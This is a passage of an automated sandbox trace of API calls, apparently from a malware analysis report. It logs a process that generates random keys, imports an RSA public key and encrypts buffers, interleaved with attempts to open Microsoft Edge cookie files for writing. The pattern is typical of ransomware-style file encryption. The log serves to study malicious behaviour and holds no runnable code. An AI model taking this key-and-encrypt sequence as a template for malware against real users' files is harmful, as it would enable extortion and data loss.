| out: pbBuffer=0x285d0d0) returned 1 [0224.285] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0224.286] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0224.288] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6486880) returned 1 [0224.288] CryptGetKeyParam (in: hKey=0x6486880, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0224.288] CryptEncrypt (in: hKey=0x6486880, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7880000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x7880000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0224.288] GetLastError () returned 0x0 [0224.288] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0224.288] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0224.290] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6486ec0) returned 1 [0224.290] CryptGetKeyParam (in: hKey=0x6486ec0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0224.290] CryptEncrypt (in: hKey=0x6486ec0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7890000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x7890000*, pdwDataLen=0x285d120*=0x100) returned 1 [0224.291] GetLastError () returned 0x0 [0224.291] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0224.291] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\J9KFLZDX.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\j9kflzdx.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0224.291] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0224.293] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0224.294] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0224.295] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0224.295] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0224.295] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0224.297] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0224.303] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0224.303] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0224.303] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0224.303] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0224.305] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6486b40) returned 1 [0224.306] CryptGetKeyParam (in: hKey=0x6486b40, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0224.306] CryptEncrypt (in: hKey=0x6486b40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x78a0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x78a0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0224.306] GetLastError () returned 0x0 [0224.306] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0224.306] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0224.308] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6487040) returned 1 [0224.308] CryptGetKeyParam (in: hKey=0x6487040, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0224.308] CryptEncrypt (in: hKey=0x6487040, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x78b0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x78b0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0224.308] GetLastError () returned 0x0 [0224.308] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0224.308] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\JN00AKV9.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\jn00akv9.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0224.308] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0224.310] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0224.311] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0224.311] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0224.312] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0224.312] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0224.313] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0224.314] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0224.314] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0224.314] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0224.314] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0224.316] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x64868c0) returned 1 [0224.316] CryptGetKeyParam (in: hKey=0x64868c0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0224.316] CryptEncrypt (in: hKey=0x64868c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x78c0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x78c0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0224.317] GetLastError () returned 0x0 [0224.317] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0224.317] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0224.319] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6486d80) returned 1 [0224.319] CryptGetKeyParam (in: hKey=0x6486d80, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0224.319] CryptEncrypt (in: hKey=0x6486d80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x78d0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x78d0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0224.319] GetLastError () returned 0x0 [0224.319] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0224.319] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\OR8K8VRM.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\or8k8vrm.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0224.319] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0224.321] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0224.322] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0224.322] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0224.322] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0224.322] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0224.324] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0224.325] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0224.325] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0224.325] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0224.325] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0224.327] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6486940) returned 1 [0224.327] CryptGetKeyParam (in: hKey=0x6486940, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0224.327] CryptEncrypt (in: hKey=0x6486940, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x78e0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x78e0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0224.328] GetLastError () returned 0x0 [0224.328] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0224.328] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0224.329] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6486b80) returned 1 [0224.329] CryptGetKeyParam (in: hKey=0x6486b80, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0224.329] CryptEncrypt (in: hKey=0x6486b80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x78f0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x78f0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0224.330] GetLastError () returned 0x0 [0224.330] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0224.330] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\TK0LXHBL.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\tk0lxhbl.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0224.330] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0224.331] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0224.333] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0224.333] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0224.333] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0224.333] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0224.334] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0224.335] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0224.335] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0224.335] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0224.335] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0224.337] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6486c00) returned 1 [0224.337] CryptGetKeyParam (in: hKey=0x6486c00, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0224.337] CryptEncrypt (in: hKey=0x6486c00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7900000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x7900000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0224.338] GetLastError () returned 0x0 [0224.338] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0224.338] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0224.339] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6486f00) returned 1 [0224.339] CryptGetKeyParam (in: hKey=0x6486f00, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0224.339] CryptEncrypt (in: hKey=0x6486f00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7910000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x7910000*, pdwDataLen=0x285d120*=0x100) returned 1 [0224.340] GetLastError () returned 0x0 [0224.340] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0224.340] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\VC62GJSF.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\vc62gjsf.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0224.340] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0224.342] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0224.343] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0224.343] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0224.343] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0224.343] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0224.344] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0224.345] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0224.346] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0224.346] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0224.346] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0224.351] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6486cc0) returned 1 [0224.351] CryptGetKeyParam (in: hKey=0x6486cc0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0224.351] CryptEncrypt (in: hKey=0x6486cc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7920000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x7920000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0224.351] GetLastError () returned 0x0 [0224.351] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0224.351] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0224.353] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6486d40) returned 1 [0224.353] CryptGetKeyParam (in: hKey=0x6486d40, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0224.353] CryptEncrypt (in: hKey=0x6486d40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7930000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x7930000*, pdwDataLen=0x285d120*=0x100) returned 1 [0224.353] GetLastError () returned 0x0 [0224.353] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0224.353] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\VSMDVD55.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\vsmdvd55.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0224.413] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0224.415] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0224.416] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0224.416] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0224.416] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0224.416] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0224.418] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0224.419] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0224.419] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0224.419] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0224.419] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0224.422] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6486d00) returned 1 [0224.422] CryptGetKeyParam (in: hKey=0x6486d00, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0224.422] CryptEncrypt (in: hKey=0x6486d00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7940000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x7940000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0224.422] GetLastError () returned 0x0 [0224.422] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0224.422] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0224.424] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6486dc0) returned 1 [0224.424] CryptGetKeyParam (in: hKey=0x6486dc0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0224.424] CryptEncrypt (in: hKey=0x6486dc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7950000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x7950000*, pdwDataLen=0x285d120*=0x100) returned 1 [0224.424] GetLastError () returned 0x0 [0224.424] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0224.424] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\51TU1403.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\51tu1403.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0224.425] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0224.426] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0224.428] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0224.428] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0224.428] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0224.428] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0224.429] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0224.430] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0224.430] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0224.430] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0224.431] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0224.433] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6486f80) returned 1 [0224.433] CryptGetKeyParam (in: 